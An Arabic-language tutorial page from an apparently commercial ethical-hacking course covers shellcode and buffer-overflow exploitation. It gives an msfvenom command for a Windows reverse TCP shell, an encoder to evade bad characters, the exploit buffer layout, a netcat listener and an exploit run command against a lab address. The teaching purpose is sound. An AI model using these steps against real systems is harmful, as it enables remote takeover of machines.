0Pricing
Ethical Hacking Academy · درس

Shellcode والاستغلال

الحصول على صدفة

Shellcode والاستغلال درس مجاني في Ethical Hacking Academy على CoddyKit. هذا هو الدرس 4 من أصل 4. يمكنك قراءة الدرس كاملاً أدناه مجاناً — ثم تمرن عليه مباشرة في المتصفح باستخدام محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7. هذا الدرس جزء من مسار التعلم في Ethical Hacking Academy، وتقدمك يتزامن عبر الويب وتطبيق CoddyKit. تتضمن دورة Ethical Hacking Academy 4 دروس في المجموع.

ما هي Shellcode؟

إن Shellcode قطعة صغيرة من شيفرة الآلة تنفذ إجراءً عند تشغيلها، ويتمثل الإجراء التقليدي في إنشاء shell. وهي الحمولة التي تعيد توجيه التنفيذ إليها بعد التحكم في EIP.

تُكتب على هيئة بايتات خام، أي opcodes، لكي يمكن حقنها مباشرةً في الذاكرة.

أنواع الحمولات

تشمل الأهداف الشائعة للحمولات ما يلي:

  • Bind shell: يفتح منفذًا للاستماع على جهاز الضحية.
  • Reverse shell: يتصل مجددًا بالمهاجم، ويكون ذلك أفضل عبر الجدران النارية وNAT.
  • تنفيذ أمر: يشغّل أمرًا واحدًا، مثل إضافة مستخدم.

تُعد Reverse shells الأكثر شيوعًا في الاختبارات الفعلية.

التوليد باستخدام msfvenom

ينشئ msfvenom الحمولات. تحدد نوع الحمولة وعنوان المستمع ومنفذه وتنسيق الإخراج وأي محارف غير صالحة يجب تجنبها.

يستبعد الخيار -b المحارف غير الصالحة، بينما يحدد الخيار -f تنسيق الإخراج.

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f c

لماذا نحتاج إلى الترميز

غالبًا ما تحتوي shellcode الخام على محارف غير صالحة، مثل البايتات الصفرية. ويحوّل المرمّز الحمولة لتجنب هذه البايتات، ثم يضيف في بدايتها كود فك ترميز يعيد الشيفرة الأصلية أثناء التشغيل.

المرمّز التقليدي هو x86/shikata_ga_nai.

msfvenom ... -e x86/shikata_ga_nai -b "\x00"

فك الترميز والتعديل الذاتي

تفك shellcode المرمّزة ترميزها بنفسها في الذاكرة قبل تشغيلها. ويحتاج هذا التعديل الذاتي إلى مساحة إضافية صغيرة في المكدس، ولذلك تساعد زلاقة NOP وتوفير مساحة كافية في المخزن المؤقت.

قد تضطر أحيانًا إلى ضبط ESP أولًا حتى لا يتسبب مفك الترميز في إتلاف شيفرته الخاصة.

تجميع الاستغلال النهائي

يتكون مخزن الاستغلال المؤقت الكامل من:

  • حشو حتى الإزاحة.
  • عنوان العودة JMP ESP.
  • زلاقة NOP.
  • shellcode المرمّزة.

أرسل هذا إلى الإدخال المعرض للخطر، وسينتقل التنفيذ إلى حمولتك.

buf = "A"*offset + ret + "\x90"*16 + shellcode

إعداد المستمع

في الصدفة العكسية، يجب أن تستمع على جهازك قبل تشغيل الاستغلال. يلتقط مستمع Netcat البسيط الاتصال الوارد.

استخدم multi/handler الخاص بـ Metasploit بدلاً من ذلك مع الحمولات المُجزّأة.

nc -lvnp 4444

تشغيل الاستغلال

بعد تجهيز المستمع، أرسل المخزن المؤقت المُعدّ إلى الهدف. إذا تطابقت الأمور كما ينبغي، تُنفَّذ shellcode ويتلقى المستمع لديك صدفة على جهاز الضحية.

أصبح لديك الآن تنفيذ للأوامر بامتيازات العملية المعرّضة للخطر.

python exploit.py 10.0.0.20 9999

استكشاف الأخطاء وإصلاحها

إذا فشل الأمر، فتحقق من الأسباب الشائعة التالية:

  • تسرّف حرف غير صالح إلى shellcode أو عنوان العودة.
  • إن مسار NOP قصير جداً.
  • لم تتوفر مساحة كافية على المكدس لفك الترميز (اضبط ESP).
  • وجود إزاحة أو ترتيب بايتات خاطئ.

يؤدي تصحيح الأخطاء بطريقة منهجية داخل مصحح الأخطاء إلى عزل المشكلة.

ما بعد التجاوز التقليدي

عند تفعيل DEP وASLR، لن تُنفَّذ shellcode الموضوعة على المكدس مباشرةً. تستخدم عمليات الاستغلال الحديثة البرمجة الموجّهة بالعودة (ROP) لربط أدوات برمجية موجودة، كما تستخدم تسريبات المعلومات للتغلب على ASLR.

علّمتك هذه الدورة الأساس الذي تُبنى عليه تلك التقنيات المتقدمة.

مُجزّأة مقابل غير مُجزّأة

تأتي الحمولات بنوعين. تحتوي الحمولة غير المُجزّأة على shellcode كاملة في كتلة واحدة. أما الحمولة المُجزّأة فترسل جزءاً تمهيدياً صغيراً ينزّل الباقي من المعالج لديك.

تلائم الحمولات المُجزّأة المخازن المؤقتة الأصغر، لكنها تحتاج إلى معالج مطابق مثل multi/handler الخاص بـ Metasploit لتسليم المرحلة الثانية.

تحقق سريع

تذكّر سبب ترميز shellcode غالباً.

مراجعة

لقد أتممت سلسلة الاستغلال:

  • Shellcode هي الحمولة؛ وتُعد الصدف العكسية الأكثر عملية.
  • أنشئها ورمّزها باستخدام msfvenom لتجنب الأحرف غير الصالحة.
  • جمّع الحشو + JMP ESP + مسار NOP + shellcode، ثم ابدأ مستمعاً وشغّل الاستغلال.
  • تحتاج الأهداف الحديثة إلى ROP وتسريبات المعلومات للتغلب على DEP/ASLR.

لقد أتممت دورة استغلال تجاوز سعة المخزن المؤقت.

الأسئلة الشائعة

هل درس «Shellcode والاستغلال» مجاني؟

نعم — نص درس «Shellcode والاستغلال» كامل متاح مجاناً هنا على الويب. لتمرينه بشكل تفاعلي (محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7) وفتح باقي دورة Ethical Hacking Academy، انتقل إلى CoddyKit PRO. تتضمن دورة Ethical Hacking Academy 4 دروس في المجموع.

ماذا ستتعلم في «Shellcode والاستغلال»؟

الحصول على صدفة تتمرن على Ethical Hacking Academy مع أكواد عملية تشغلها مباشرة في المتصفح، ومدرس ذكاء اصطناعي متاح 24/7 يجيب على أسئلتك أثناء عملك.

هل أحتاج إلى خبرة سابقة لأبدأ Ethical Hacking Academy؟

لا تُشترط خبرة سابقة. Ethical Hacking Academy على CoddyKit منظم للمبتدئين حتى المتقدمين، لذا يمكنك البدء من هنا أو من البداية والتقدم بسرعتك الخاصة. هذا هو الدرس 4 من أصل 4.

كم من الوقت يستغرق درس «Shellcode والاستغلال»؟

معظم دروس CoddyKit تستغرق حوالي 5–10 دقائق. كل منها موجز وتفاعلي، لذا تحرز تقدماً مستمراً وتستأنف من حيث توقفت عبر الويب والتطبيق.

هل يمكنني كتابة وتشغيل أكواد في درس Ethical Hacking Academy هذا؟

نعم. كل درس في Ethical Hacking Academy يتضمن محرر أكواد مدمج، لذا تكتب وتشغل أكواداً حقيقية مباشرة في متصفحك وتحصل على تعليقات فورية من الذكاء الاصطناعي — بدون إعداد محلي.

جميع الدروس في هذه الدورة

  1. الذاكرة والمكدس
  2. الاختبار العشوائي بحثًا عن الأعطال
  3. التحكم في EIP
  4. Shellcode والاستغلال
← العودة إلى Ethical Hacking Academy